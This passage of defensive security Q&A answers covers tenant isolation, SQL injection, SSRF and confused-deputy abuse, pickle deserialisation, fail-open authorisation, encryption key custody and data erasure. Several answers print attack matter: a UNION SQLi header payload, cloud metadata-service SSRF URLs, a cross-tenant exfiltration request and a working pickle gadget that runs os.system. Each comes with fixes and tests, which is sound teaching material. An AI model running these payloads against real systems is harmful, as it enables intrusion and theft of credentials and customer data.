Invoice inv = repo.findById(id).orElseThrow(); // no tenant filter
if (!inv.getOwnerId().equals(user.getId())) throw new ForbiddenException();
return inv;
}
The bug is the comparison target: ownerId is the creating user, not the tenant that owns the row, so any user in the same tenant reads any invoice, and a service account that created rows for several tenants reads across all of them. The fix is not a better if in 24 places; it is one lookup every handler is forced through:
// shared module, one implementation
Invoice inv = repo.findByIdAndTenantId(id, user.getTenantId())
.orElseThrow(NotFoundException::new);
| Scope | What changed | New services next quarter | Cross-tenant reads |
|---|---|---|---|
| paged service | check patched | — | stopped |
| 23 siblings | unchanged | — | still open |
| template + generator | still emits old handler | 19 | 7 hit before template fixed |
| template + merge gate + scan | inherited | 8, all pass | 0 |
Failure modes, and how you'd see them.
- Template fixed, generator pinned to an old tag. New services still ship the old handler. Detect: scaffold a service in CI and grep the generated tree for the old comparison.
- Merge gate blocks the old handler, but siblings are backfilled by hand and drift back. Detect: a scheduled scan that fails when the pattern reappears.
- The check is fixed but the lookup isn't tenant-scoped, so the check is the only thing between a user and another tenant's row. Detect: a negative test per endpoint. Authenticate as tenant A, request tenant B's id, expect 404, not 403.
Evidence I'd want before calling it done: scaffold a service from the current template, run the cross-tenant test, and require a pass with no bespoke patch; a scan that fails CI on the old pattern; and the 23 siblings listed with an owner and a date each.
The patch closed the ticket. The template closes the class.
Curated: · Written: · Reviewed:
Q&A-56Engineering skipped prepared statements because the WAF has an SQLi rule pack. What do you say?
No. A WAF is a filter on HTTP request shapes; SQL injection is decided when the query string is built. Parameterise in the data-access layer and keep the WAF as defence in depth: it is not the control that stops injection.
Assumptions worth stating out loud: the WAF sits at the public HTTP edge; internal callers, background workers and queue consumers reach the same database; and the rule pack is a signature set, not a parser for your query language.
Why the pack cannot carry this:
- It only sees traffic that traverses it. A worker draining a queue, a cron job, an internal RPC, or a second ingress path never gets inspected.
- It matches on the wire format. The same value can arrive URL-encoded, double-encoded, in a JSON body, in a header, or split across parameters; a signature that catches one encoding misses the next.
- It has no knowledge of your query.
WHERE id = '...'concatenated from a header is a valid SQL string; the WAF has to guess intent from bytes.
What I'd ask for instead:
- Parameterised queries (or a builder that binds) enforced in the paved data layer, with a CI check that fails on string concatenation into SQL.
- The WAF stays on and tuned, as one layer, not the acceptance criterion.
- A test that sends a payload the WAF allows and asserts the database layer still returns 0 rows.
Worked example, figures illustrative: a service concatenated an X-Tenant header into a lookup query. The SQLi pack inspected the query string and body, not that header. Payload X-Tenant: x' UNION SELECT ... -- returned 440,000 customer rows in 18 minutes before the endpoint was pulled.
| Layer | Saw the header payload | Rows returned | Time to detect |
|---|---|---|---|
| WAF SQLi pack | no: header out of scope | 440,000 | 18 min, manual |
| parameterised query | n/a: value bound, not parsed | 0 | n/a |
| worker path, no WAF | never inspected | same bug class | — |
I wouldn't call this closed until a payload the WAF allows still returns 0 rows from the database layer.
Curated: · Written: · Reviewed:
Q&A-54A file-conversion service receives a URL and an OAuth token to write the result. How can it be abused?
Assumptions I'd state first: the converter fetches the URL server-side, and it holds a service identity that can read more than the requesting tenant's data. The OAuth token is used for the write. Both are the norm for this shape of service, and both are what make it abusable.
The core answer: there are two abuses, and they compose.
-
SSRF through the URL. The URL is attacker-controlled and fetched by the server, so it can point at anything the server can reach:
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/tokenon GCE,http://169.254.169.254/latest/meta-data/iam/security-credentials/on EC2, or an internal admin port such ashttp://10.0.0.5:8500/v1/kv/. The response is converted and written to the attacker's destination, so the metadata service's credentials come back as a file. -
Confused deputy on the read. The write is authorized by the caller's token, but the read is authorized by the service's own identity. The attacker supplies a source they cannot read and a destination they can write, and the service reads the victim's object on their behalf.
Worked trace. Service account converter@proj.iam has storage.objects.get on the whole acme-* bucket set. The attacker sends:
POST /convert
{"source_url": "https://storage.googleapis.com/acme-finance/invoices/2024-q4.tar.gz",
"dest": "gs://attacker-drop/out.tar.gz",
"dest_token": "<attacker's own OAuth token>"}
The service fetches the source with its own service account (allowed, because that account can read acme-finance) converts, and writes to attacker-drop using the attacker's token. 14 GB of finance invoices leave the tenant. The attacker never had read access to acme-finance; the service did.
Why the token doesn't save you. The token authorizes the write, not the read. Validating it proves the caller may write to the destination; it says nothing about whether the caller may read the source. That asymmetry is the whole bug.
What actually binds it.
| Read identity | Write identity | Foreign source | Foreign destination |
|---|---|---|---|
| Service account, whole bucket | Caller token | Allowed (the bug) | Allowed |
| Service account, per-tenant prefix | Caller token | Denied | Allowed |
| Downscoped token, one object | Downscoped token, one object | Denied | Denied |
Do not accept caller-supplied bearer tokens as job parameters. Exchange for a token downscoped to the specific source and destination objects, validate tenant ownership of the source before any read, and write only with a service identity that cannot reach customer buckets. Add an egress allowlist that blocks link-local (169.254.0.0/16), loopback, and RFC 1918 ranges, and resolve the hostname once and pin the IP to defeat DNS rebinding.
Failure modes and detection. The SSRF variant shows up as egress to link-local or private addresses in VPC flow logs, and as metadata-service calls from a workload that has no reason to make them. The deputy variant shows up in the storage audit log as the service account reading objects outside the requesting tenant: alert on any read where the object's tenant does not match the job's tenant. A third failure: if the converter follows redirects, an allowlisted host can 302 to 169.254.169.254, so disable redirect following or re-validate every hop.
What I'd test before calling it fixed. Submit a job whose source is a foreign tenant's object and whose destination is attacker-controlled, and require denial before any read or write. Then submit a source URL pointing at the metadata endpoint and require the same. Both must fail closed, not fail after the fetch.
A deputy must validate the job, not merely possess authority.
Curated: · Written: · Reviewed:
Q&A-95Users upload CVs as PDF to a bucket that CloudFront serves. What can go wrong?
Assume the bucket is private, CloudFront fronts it with an Origin Access Control, and uploads go browser-to-S3 with a presigned URL. CVs are PII, served to logged-in recruiters. Three things break, and they're independent.
The first is stored XSS. S3 stores the Content-Type the uploader sent. A file named resume.pdf whose bytes are HTML, uploaded with Content-Type: text/html, comes back from CloudFront with that header. If CloudFront is on cdn.example.com, that's the same registrable domain as your app, so the browser sends your session cookies and any script in the file runs with them. Two headers and a domain fix it: X-Content-Type-Options: nosniff stops the browser sniffing past your declared type, Content-Disposition: attachment stops inline rendering, and serving from a separate registrable domain keeps cookies out of scope entirely. Set both headers with a CloudFront response headers policy so they apply to every object, not just the ones you remembered.
The second is the cache handing one recruiter another's CV. CloudFront's default cache key is the URL. If authorization rides in a cookie or a header you didn't add to the cache key, the first response is cached and replayed to the next requester: a PII breach with no attacker. Signed URLs put the signature in the query string, so it's part of the cache key and each user's URL is distinct. Signed cookies let you keep caching but require the check at the edge. For anything private, Cache-Control: private, no-store is the safe default.
The third is the upload path. A presigned PUT is a bearer token: whoever holds it can write. If the key is client-supplied you get overwrites and traversal; with no size condition you get a 5 GB object. Presigned POST with conditions constrains it server-side:
# boto3, Python 3.12
s3.generate_presigned_post(
Bucket="cvs",
Key="uploads/${filename}",
Fields={"Content-Type": "application/pdf"},
Conditions=[
["content-length-range", 0, 5_000_000],
["starts-with", "$key", "uploads/"],
{"Content-Type": "application/pdf"},
],
ExpiresIn=300,
)
The Content-Type condition checks the declared field, not the bytes: a client can still send HTML labelled application/pdf. So validate the magic bytes (%PDF-) server-side after upload, and scan before the object is ever served.
| Failure | Trigger | Detection |
|---|---|---|
| Stored XSS | uploader sets text/html, served same-site | CSP reports, upload scanner |
| Cross-user cache hit | auth not in cache key | cache-hit ratio on private paths |
| Bucket listing | Block Public Access off, no OAC | S3 access logs, external scan |
| Oversized / overwrite | presigned PUT, client key | S3 inventory, cost alarm |
When it's not worth the isolation: if the files are genuinely public and non-executable, the separate domain and signed URLs are overhead you can skip. For CVs they never are.
Curated: · Written: · Reviewed:
Q&A-94Workers pickle jobs from a Redis queue that several apps write. What is the trust model?
Trust model in one line: the worker trusts the payload only as far as it trusts every writer, and with pickle that means it hands every writer code execution inside the worker process. So the first question is not "how do I harden pickle": it is "who can write to this queue, and would I let them run code on the worker host?"
Assumptions I would state up front: Redis is shared by several apps, the worker unpickles whatever it pops, and the queue is reachable by anything holding the connection string. Redis AUTH is per-connection, not per-key, so unless you have configured ACLs (Redis 6.0+), any writer can LPUSH to any key, including the worker's.
Why pickle turns this into a code-execution boundary rather than a parsing boundary: pickle is a stack VM. pickle.loads executes opcodes. GLOBAL pushes a callable by name, REDUCE pops the callable and its argument tuple and calls it. __reduce__ is the documented hook for that. A payload is a program, and unpickling is running it.
import pickle, os
class Gadget:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
payload = pickle.dumps(Gadget())
pickle.loads(payload) # runs os.system during unpickling
Trace: dumps calls __reduce__, which returns (os.system, ("id > /tmp/pwned",)). The stream is GLOBAL os system, then the args tuple, then REDUCE. loads executes REDUCE, so os.system runs while the object is being reconstructed: before the worker reads a single job field. No gadget chain, no memory corruption; this is the intended API.
The boundaries the worker has to reason about:
| Boundary | Question | Default in a shared Redis queue |
|---|---|---|
| Writer → queue | Who can LPUSH? | Anyone with the connection string |
| Queue → worker | Is the payload authentic? | No: bytes are whatever the writer put there |
| Payload → code | Does parsing execute code? | Yes, with pickle |
| Worker → host | What can the process do? | Whatever its identity allows |
Alternatives, and the criterion that decides between them: is every writer a principal you would let run code in the worker's process?
| Option | Stops RCE? | Cost | Right when |
|---|---|---|---|
| JSON + explicit schema | Yes | Lose arbitrary types; need codecs | Any untrusted writer |
| HMAC-signed pickle | Only while the key stays secret and writers stay honest | Key management | All writers are your own code, queue isolated |
| Restricted unpickler (allowlist of globals) | Partially; bypasses exist | Fragile, ongoing maintenance | Legacy, short-term |
| Per-writer Redis ACL + separate keys | Limits blast radius, not RCE | Ops overhead | Multi-tenant queue |
Signing does not fix the trust model; it only moves the trust to the key holder. If a writer is compromised, its signature is valid. An allowlist unpickler is a denylist in disguise: every new callable you permit is a new gadget surface.
Failure mode I have seen: an app with queue write access shipped a gadget, the worker ran as cluster-admin, and a cron entry persisted for 20 days. Detection is cheap and worth wiring in: enqueue a known gadget in CI and assert the worker rejects at parse with zero code execution; run the worker as a non-root identity with no egress; alert on unexpected child processes.
Bottom line: if every writer is code you would run in the worker's process, pickle is an ergonomics choice with residual risk. If any writer is third-party or the queue is reachable, pickle is RCE, and the trust model has to be JSON with an explicit schema plus per-writer ACLs.
Curated: · Written: · Reviewed:
Q&A-55When the authorisation service times out, the API allows the request so availability SLOs hold. What did we choose?
We chose fail open. When the authorisation service doesn't answer inside its deadline, the API treats the request as allowed instead of returning 503, so the availability SLO holds through a policy-service blip. That is a deliberate trade, availability over confidentiality, paid for in requests that run unauthorised-by-default.
The assumption that makes it defensible is that a timeout is a dependency failure, not a policy decision. An explicit deny from the policy service is still a deny; fail open covers only the case where no decision arrives. If the timeout branch also swallows 403s, you haven't failed open, you've disabled authorisation.
Mechanism: the authz call gets a slice of the request budget, not the whole of it. With a 200 ms p99 request budget, the policy check gets roughly 50 ms; past that the client aborts and takes the allow branch. The decision is made per request, so the fail-open rate is a live metric rather than a config flag.
def authorize(subject, action, resource, deadline_ms=50):
try:
resp = policy_client.check(subject, action, resource,
timeout=deadline_ms / 1000)
except (Timeout, ConnectionError):
metrics.increment("authz.fail_open", tags={"action": action})
log.warning("authz_fail_open", subject=subject, action=action,
resource=resource)
return Allow(reason="authz_unavailable")
return resp.decision # explicit deny is honoured
Trace: a healthy call returns a decision and the except block never runs. A call that exceeds 50 ms raises Timeout, the counter increments, the request is logged with subject and action, and Allow is returned. A call that returns Deny returns Deny: the fail-open path is unreachable for it.
What it costs, and how to bound it:
| Mode | On authz timeout | Availability | Exposure |
|---|---|---|---|
| fail open | allow | SLO holds | every timed-out request runs unauthorised |
| fail closed | 503 | SLO burns for the outage | none |
| cached decision | last known | holds while cache is warm | stale grants outlive the revocation |
Fail open is the right call for read paths where the data is already broadly accessible and the alternative is a user-facing outage. It is the wrong call for export, delete, admin and payment endpoints, where the blast radius of one unauthorised request exceeds the cost of a 503. The defensible version is scoped: fail open on the read surface, fail closed on the high-consequence surface, and a hard cap. After N minutes of continuous fail-open, trip to fail closed and page.
Failure modes worth naming. Silent fail-open: the branch exists but nothing counts it, so a policy service that is timing out on 30% of calls looks like normal traffic. Unbounded fail-open: no cap, so a dependency that never recovers leaves the door open indefinitely. Induced fail-open: an attacker who can exhaust the policy service (connection pool, CPU) converts a load spike into an authorisation bypass. The timeout is the exploit, not the accident.
Detection is the fail-open counter, alerted on both rate and duration, plus a synthetic check that kills the policy service in a drill and asserts the high-consequence endpoints return 503 while the read endpoints return 200.
Hypothetical exposure: at 20k rps with a 0.1% fail-open rate, 20 requests/s run without a decision; a 7-minute outage lets roughly 8,400 through. That number is the argument for the cap and the carve-out.
Curated: · Written: · Reviewed:
Q&A-98Product wants full DOM replay including payment fields for UX. Security wants nothing. What is the architecture?
Clarify first. "Full DOM replay" means a session-replay recorder serializing DOM snapshots and mutations into a store that designers and engineers can scrub through. The real question is whether that store sits inside the cardholder data environment. If it does, everyone with replay access is in PCI scope and the assessment grows. So the assumption I'd state out loud: product wants to see the checkout flow, not the card digits. Those are separable, and I'd design for the first.
Core answer: three layers, deny by default.
Layer 1: the recorder. Mask at the source. In rrweb-style recorders that is maskAllInputs: true so no input value is ever serialized, plus a blockSelector on the payment form. Do not turn on cross-origin iframe recording: Stripe Elements and Adyen Drop-in render inside a cross-origin frame, and enabling that records the PSP's DOM, which is the one thing you cannot defend.
Layer 2: the collector. A scrubber that runs before the event batch is written, so SDK config drift doesn't become a breach. It walks the serialized node tree and drops any subtree whose field name, id, autocomplete or test id matches a payment pattern.
const SENSITIVE = /(^|[-_])(cc|card|pan|cvv|cvc|iban|ssn|exp)([-_]|$)/i;
function scrub(node) {
const attrs = node.attributes ?? {};
const label = [attrs.name, attrs.id, attrs.autocomplete, attrs['data-testid']]
.filter(Boolean).join(' ');
if (SENSITIVE.test(label)) {
for (const k of Object.keys(attrs)) attrs[k] = '***';
node.childNodes = [];
return node;
}
for (const c of node.childNodes ?? []) scrub(c);
return node;
}
Trace it on a snapshot of the checkout form: form#checkout-form containing input[name=card_number, value="4242 4242 4242 4242"], input[name=cvv, value="123"], and span.total with text $42.00:
form: label"checkout-form". No match, recurse.input card_number: label"card_number"matchescardat the start followed by_. Every attribute becomes***, children dropped. The PAN is gone.input cvv: label"cvv"matches. Masked.span.total: no match, recurse into the text node, which is left alone.
Output: the form and the total survive; both inputs are {name: "***", value: "***"}. Product still sees layout, focus order, error state and timing. They don't see digits.
Layer 3: storage. Replay blobs land in a bucket with a lifecycle rule and an IAM role separate from the CDE. If a raw-replay exception is ever granted, it is one named ticket, one named reviewer, and an expiry date, not a standing capability.
Trade-offs. Product loses the ability to debug "the card field showed the wrong value" from replay alone; they get that from the PSP's own dashboard instead. That's the right trade. The alternative (record everything, restrict access) fails because access control doesn't shrink the CDE, and PCI DSS v4.0 (Req 3.3.1) forbids storing sensitive authentication data (CVV, full track, PIN) after authorization at all. No amount of dual control makes a captured CVV acceptable. A PAN may be stored if rendered unreadable (Req 3.5.1), but the cheapest way to render it unreadable is to never record it.
Failure modes and how to detect them.
- Selector drift: a new payment field ships without the blocklist. Detect with a CI job that renders checkout, records it, and asserts zero matches against the pattern, plus a scheduled query over the telemetry store for the test PAN
4242 4242 4242 4242that must return zero rows. - Autofill: the browser fills the field with no key events, so masking keyed on keystrokes misses it. Mask the serialized value, not the event.
- Cross-origin iframe recording switched on for some unrelated feature. Assert the recorder config in CI rather than trusting a dashboard.
Before I'd sign off: the recorder config in version control, the scrubber's tests green, and a written statement of which store is in the CDE. If any of those three is missing, the answer is no replay of the payment step.
Curated: · Written: · Reviewed:
Q&A-28Encryption uses AES-256-GCM. The data key is stored next to the ciphertext in S3. What failed?
What failed is key custody, not the cipher.
AES-256-GCM did its job. The failure is that the data key sits in the same trust domain as the ciphertext: anyone who can read the object can read the key that decrypts it. Confidentiality collapses to "can you call GetObject", which is exactly the property encryption was supposed to remove. The key file is a label, not a secret.
Why it collapses
GCM gives confidentiality and integrity only while the key stays secret. Co-locating it means the attacker's cost is one extra GET, not a key-recovery problem. Three consequences follow:
- No revocation. You cannot un-share a key you already wrote to the bucket. Rotation means re-encrypting every object.
- No separation of duties. S3 read permission silently becomes decrypt permission. A misconfigured bucket policy, a presigned URL, or a leaked role credential is full plaintext disclosure.
- Nonce risk. If one data key is reused across objects with random 96-bit IVs, NIST SP 800-38D caps safe usage at 2^32 invocations; past that, IV collisions let an attacker recover the authentication key and forge. Per-object keys avoid this, but only if they are actually per-object.
The attack path
- Attacker obtains
s3:ListBucket+s3:GetObjecton the prefix: leaked credential, over-broad role, public policy. - Lists objects; each
foo.parquethas a siblingfoo.parquet.key. - Fetches both, runs AES-256-GCM locally with the sibling key.
- No KMS call, no CloudTrail
kms:Decryptevent, no alert. The whole prefix is readable at line rate.
Step 4 is the tell: the breach is invisible to every key-management control you have, because no key-management service was involved.
What should have been there
Envelope encryption. KMS GenerateDataKey returns a plaintext data key plus a wrapped copy; persist only the wrapped blob next to the object, and keep the plaintext key in memory for the duration of the write. Bind an encryption context (object key, tenant id) so a wrapped key cannot be replayed against a different object: KMS uses it as additional authenticated data, so a mismatched context fails decryption. Scope kms:Decrypt to the workload identity.
| Design | Key at rest | Read access alone decrypts? | Blast radius of a bucket ACL mistake |
|---|---|---|---|
AES-GCM + sibling .key | plaintext, same bucket | yes | every object in the prefix |
| KMS envelope + encryption context | wrapped blob only | no | ciphertext only |
How you'd prove it
Two negative tests and one positive: decrypt using only S3 credentials (must fail), decrypt with the wrong encryption context (must fail), decrypt as the workload identity (must succeed). Then alert on kms:Decrypt from principals outside that identity: with the sibling-key design there is nothing to alert on.
Curated: · Written: · Reviewed:
Q&A-47We encrypt PAN at rest. Reports still show full PAN to 200 analysts. What did encryption not do?
Short answer. Encryption at rest protects the bytes on disk and in backups. It does nothing about who can read the column through a live, authorised query. The 200 analysts still hold SELECT, so the database decrypts for them on the way out. Encryption moved the boundary down to the storage layer; the read path was never in scope.
Why it behaves that way. At-rest encryption is transparent by design. The DBMS holds the key, decrypts pages as it reads them, and hands plaintext to whatever principal the authorisation layer admits. The analyst's credential is the thing being trusted, and it is trusted:
analyst: SELECT pan FROM payments WHERE id = 42;
-> authz: analyst has SELECT on payments.pan -> allow
-> storage: read page, decrypt with DB-held key
-> client: 4111111111111111
Nothing in that path consults the encryption. The only question it answered was "if someone walks off with the disk or a backup tape, can they read it?" No. That is a real control and worth keeping. It is not a read control.
What it did not do, concretely:
- Did not reduce the number of principals with access to the plaintext column.
- Did not create a per-read audit trail, so you cannot answer "who read PAN 4111... last month".
- Did not survive a legitimate credential used illegitimately. An authorised SELECT is indistinguishable from a normal one.
- Did not cover derived copies: the report server's cache, the CSV in an analyst's home directory, the BI extract.
What actually fixes the report. Tokenisation or a format-preserving vault: the warehouse stores a surrogate, and the real PAN lives only in a service that detokenises on request, with dual control for bulk and an audit record per call. The alternatives and when each fits:
| Approach | Analysts see | Breaks | Use when |
|---|---|---|---|
| At-rest encryption | full PAN | nothing | disk/backup theft only |
| Column encryption, key outside DB | full PAN to app, not to DB | DB-side search and indexes on that column | the app can hold the key |
| Dynamic data masking | masked by role | ad-hoc queries needing the real value | reporting on non-PAN fields |
| Tokenisation / FPE vault | surrogate | joins on raw PAN, format assumptions | many readers, few need the real value |
Worked example (hypothetical figures). A payments warehouse ran AES-256 at rest and had 200 analysts with SELECT on the live table. A departing analyst exported 1.8M PANs in the week before HR's disablement completed (6-day lag). Same table after tokenisation: 3 vault operators could detokenise, bulk detokenisation required two approvers, and the export contained surrogates.
| Control | Analysts with PAN | PANs exported | HR disable lag |
|---|---|---|---|
| AES at rest | 200 | 1.8M | 6 days |
| warehouse tokens | 3 vault operators | 0 | — |
| bulk detokenise | dual control | 0 unaudited | — |
Failure modes to watch. A masking view bypassed because someone still holds a grant on the base table. A detokenisation service that writes the PAN into its own logs. Format-preserving encryption that keeps the Luhn check digit but also keeps enough structure to re-identify. Tokenisation that breaks a join and gets "fixed" by copying the real PAN back into the warehouse.
How I'd verify. Query the warehouse as an analyst and require tokens; attempt one detokenisation through the vault with a ticket and confirm it is logged; count principals with SELECT on the base column; check egress DLP on the report server.
At-rest encryption is not a read model.
Curated: · Written: · Reviewed:
Q&A-30Legal asked for erasure. Engineering deleted the users row. Why is that not done?
What I'd say first
Before answering I'd pin down three things: which lawful basis the erasure request rests on, whether a retention obligation (tax, fraud, legal hold) overrides it for part of the data, and what the inventory of stores holding that subject actually is. Assume the request is valid, nothing overrides it, and the subject is keyed by a stable identifier across stores.
Then the answer: the users row is one store out of many that can reconstitute the person. Erasure under Art. 17 is about removing identifiability, not about deleting a row. A primary-key DELETE leaves the feature store, search index, caches, logs, vendor copies and backups intact, and any one of those can rebuild the profile.
Why the row isn't the unit
Erasure has to fan out to every store that can still name the subject, and each store needs its own completion signal so you can prove it finished. That is the whole job: an inventory, a per-store completion token, and a restore policy that refuses to rehydrate an erased subject without a fresh legal basis.
Three credible approaches, and when each wins
- Hard delete plus fan-out. Delete the row and propagate to every derived store, tracking a token per store. Wins when you control all the stores and can rewrite or expire backups inside the retention window. Costs the most engineering and is the hardest to prove complete.
- Crypto-shredding. Encrypt per subject, delete the key. Wins when backups can't be rewritten and you need erasure to reach immutable copies cheaply. Costs key management and a re-encryption path for anything shared.
- Pseudonymise / tombstone. Keep the row, strip identifiers, hold the key mapping in a separate controlled store. Wins when a retention obligation forces you to keep the record but not the identity.
The deciding criteria are: can this store reconstitute the subject? Is there a retention obligation that requires keeping the data? Can backups be rewritten at all? If the answer to the first is no, the store is out of scope and you don't touch it.
When the simple approach is enough
A single service, no derived stores, no vendors, and backups that expire inside the retention window: a DELETE plus a documented inventory and a restore policy is genuinely sufficient. Don't build a fan-out pipeline for that shape of system.
A worked example (figures illustrative)
The users row was deleted. The recommendation feature store still held 14 months of events, a vendor marketing copy held 9 months, and a support export reconstituted 8,200 erased profiles in 20 minutes from those features, 1,400 of which overlapped the vendor copy.
| Store | After DELETE | Profiles reconstituted | Months of events |
|---|---|---|---|
users table | gone | — | — |
| feature store | present | 8,200 | 14 |
| vendor marketing copy | present | 1,400 overlap | 9 |
| after fan-out erasure | gone in 6 of 6 stores | 0 of 50 samples | — |
Failure modes and how you catch them
- A derived store keeps events after the primary delete. Detect by sampling a subject across every store in the inventory and reading back.
- A vendor copy survives because the DPA never covered deletion. Detect by reconciling the vendor list against the inventory each quarter.
- A backup restore rehydrates an erased subject. Detect with a restore drill that checks erased subjects come back empty.
- A cache outlives its TTL. Detect by reading the key back after the fan-out completes.
I wouldn't call it settled without evidence: follow twenty selected records through the inventory and verify access, purpose, retention, export and deletion on the primary, the feature store, the cache, the vendor, and a restore test that must not revive them. A primary-key delete is only the first store.
Curated: · Written: · Reviewed:
Q&A-31Backups keep 35 days. Erasure requests arrive daily. How do you reconcile them?
Assumptions: GDPR/UK GDPR Art. 17 erasure requests, 35-day immutable backup retention, restores go through a controlled path. If your backups are mutable and you can rewrite them in place, the problem is smaller than this.
Split the estate. Live stores answer the request in hours: delete the row, then the derived copies. Search index, warehouse, cache, feature store. Backups answer it differently: you don't rewrite them, you make the subject unrecoverable inside them and prove a restore can't resurrect them. A restore re-enters data into processing, so the erasure obligation follows it into the restored copy.
Two mechanisms, chosen per store:
Crypto-shredding. Encrypt each subject's PII under a per-subject data key, wrapped by a KMS master key. Erasure = delete the wrapped key; every backup holding that ciphertext becomes noise. This only works if per-subject keys existed from day one: retrofitting means re-encrypting everything. Cost matters: AWS KMS customer managed keys are $1/key/month, so 200 erasures/day over a 35-day window is ~7,000 keys, ~$7k/month if each subject gets a KMS key. Wrap per-subject DEKs with a handful of KMS keys and keep the wrapped DEKs in your own database instead, where erasure is a row delete. Note that KMS key deletion has a mandatory 7–30 day waiting period on AWS, so "delete the key" is not instant; the wrapped-DEK design avoids that.
Ledger plus restore gate. Keep an append-only erasure ledger: subject_id, erased_at, legal basis, request id. Every restore replays the ledger against the restored rows before the data is reachable: restore into a quarantine namespace, gate, then promote.
| Crypto-shred | Ledger + restore gate | |
|---|---|---|
| Live erasure latency | seconds, if the DEKs are yours | seconds, row delete |
| Backup handling | nothing; ciphertext unreadable | nothing; gate filters on restore |
| Requires | per-subject keys from day one | a current, replicated ledger |
| Fails when | keys are shared across subjects, or KMS deletion is pending | the restore path bypasses the gate (PITR into the live cluster, a DBA restoring one table) |
| Audit evidence | key deletion record | gate receipt per restore |
# Python 3.12
class RestoreBlocked(Exception):
pass
def gate(rows, ledger, backup_taken_at, max_lag_s=60):
if ledger.watermark < backup_taken_at:
raise RestoreBlocked("ledger predates the backup")
if ledger.lag_s > max_lag_s:
raise RestoreBlocked(f"ledger lag {ledger.lag_s}s")
return [r for r in rows if r.subject_id not in ledger.erased]
Trace: backup taken 2024-06-01T00:00Z; ledger watermark 2024-06-20T09:00Z, lag 3s, erased = {A, B}. Rows restored: A, B, C. Both checks pass, the comprehension drops A and B, output is [C]. If the ledger had been read from a replica with watermark 2024-05-30, the first check raises and the restore stops: that is the case that matters, because a stale ledger silently re-admits everyone erased since the backup was taken.
Failure modes and how you catch them:
- Restore bypasses the gate. Every restore must emit a gate receipt with row counts; alert on any restore without one, and make the gate the only path that can promote a namespace to serving.
- Ledger lag. Alert when replication lag exceeds 60s or the watermark is older than the newest backup.
- Erasure lands mid-restore. Read the ledger at promote time, not at restore start, and re-run the gate before promotion.
- Shared keys. If one DEK covers many subjects, deleting it erases the wrong people or nobody. Assert one DEK per subject at write time.
What you tell the requester: live copies are gone now; the subject's data may persist in encrypted backups until the 35-day expiry, is not processed, and is filtered out of any restore. Any exception you take is logged with its legal basis under Art. 17(3).
Close it with evidence, not a policy: restore a backup containing an erased test subject, confirm the serving path keeps that subject unavailable, and keep the receipt.
Curated: · Written: · Reviewed:
Q&A-58Objects stay in eu-west-1. The KMS key is in us-east-1 because that was the first account. Is residency held?
No, and not because a policy is being bent. The configuration you're describing cannot exist. S3 server-side encryption with SSE-KMS requires the KMS key to be in the same Region as the bucket. A us-east-1 key cannot protect an eu-west-1 object. The PUT is rejected and nothing is written. So if you believe you have eu-west-1 objects sitting under that us-east-1 key, that belief is wrong: either the writes are failing, or those objects are encrypted under something else entirely.
Why the cross-region call fails. SSE-KMS is envelope encryption. On PUT, S3 calls GenerateDataKey on the CMK, gets back a plaintext data key plus an encrypted copy, encrypts the object body with the plaintext key, stores the encrypted data key as object metadata, and zeroes the plaintext key. On GET, S3 sends the encrypted data key to Decrypt on the same CMK. Both calls go to the KMS endpoint in the key's Region. The eu-west-1 S3 service resolves the key ARN you supplied, sees us-east-1, and cannot route the call: the request fails before any data key exists.
aws s3api put-object --bucket eu-bucket --key k \
--server-side-encryption aws:kms \
--sse-kms-key-id arn:aws:kms:us-east-1:111122223333:key/abcd...
# -> 400 KMS error (typically KMS.NotFoundException, "Invalid arn")
# object not created; no GenerateDataKey event in us-east-1 CloudTrail
Cross-account keys are fine: a key policy can grant the bucket-owner account. Cross-Region is not.
The alternatives, and when each is right.
| Option | Key material Region | Works on eu-west-1 bucket | Key control |
|---|---|---|---|
| Single-Region CMK | eu-west-1 | yes | customer-managed, material stays in eu-west-1 |
| Multi-Region key, eu-west-1 replica | eu-west-1 (replica) | yes | material replicated; primary still in us-east-1 |
| Multi-Region key, us-east-1 primary | us-east-1 | no | — |
| SSE-S3 (AES-256) | n/a | yes | AWS-managed, no CMK, no key policy |
| SSE-C | n/a | yes | key supplied per request, never stored by AWS |
Deciding criteria: if policy demands customer-managed key control, use a single-Region CMK in eu-west-1, or the eu-west-1 replica of a Multi-Region key. A Multi-Region key does not make the us-east-1 primary usable in eu-west-1: each replica is a distinct key with its own ARN, and you must reference the eu-west-1 one. If policy demands key material never leave the Region, a Multi-Region key with a us-east-1 primary is the wrong choice even though the replica works, because the material exists in both.
Failure modes and how you catch them. The dangerous one is believing encryption is in place while PUTs fail: detect it by checking that GenerateDataKey events appear in the eu-west-1 CloudTrail log for the bucket, watching S3 4xx metrics, and running a canary PUT on a schedule. A second is treating a Multi-Region key as cross-Region usable: the replica ARN is what works, not the primary. A third is conflating key location with plaintext processing location. Fixing the key to eu-west-1 settles storage and key material; it does not stop a us-east-1 application from reading eu-west-1 objects and decrypting them locally. That is a separate control (IAM, SCPs, and VPC endpoint policies that deny foreign data-plane roles) and it is the one worth testing with a full read-and-decrypt attempt, not a bare Decrypt call.
The fix: create the CMK in eu-west-1 (or use the eu-west-1 replica), re-upload, and confirm the key ARN's Region matches the bucket's. Then residency of storage and key material holds, and the remaining question is where your application processes the plaintext.
Curated: · Written: · Reviewed:
Q&A-59Staging copies production nightly so bugs are realistic. Who is the audience of that copy?
The 90-second answer
The audience of a nightly production clone is not production's audience. Production data is read by a scoped set: the service accounts that need it, ops on call, and staff whose access is reviewed and logged. The clone is read by everyone who can reach staging: every engineer with a staging credential, interns, contractors, CI runners, and any third-party tool pointed at the staging host. Same rows, different and much larger audience, with weaker controls.
So the honest answer to "who is the audience" is: whoever holds a staging credential, plus whoever can get one. That is the whole problem with the pattern.
Why the audience differs
Production access is usually gated by SSO, MFA, least-privilege roles, and audit logging. Staging is where you move fast: shared service accounts, long-lived keys in env vars, no MFA, integrations wired to real endpoints. The clone inherits the data's sensitivity but not the controls that made the data safe to hold.
Concretely, the audience of a clone typically includes:
- every engineer and intern with a staging login
- CI/CD runners and their stored secrets
- third-party SaaS (error trackers, APM, email sandboxes) configured against staging
- anyone who reads a leaked key, a log line, or a backup
What to do instead
Keep the bug realism, shrink the audience. Three options, in order of preference:
- Synthetic data: generated, no real rows. Best audience story: nobody sees customer data.
- Masked subset: real structure, real distributions, masked PII, tested irreversibility. Audience is still staging, but the payload is not customer data.
- Full clone: only if the audience is provably equal to production's, which it almost never is.
Worked example (hypothetical figures)
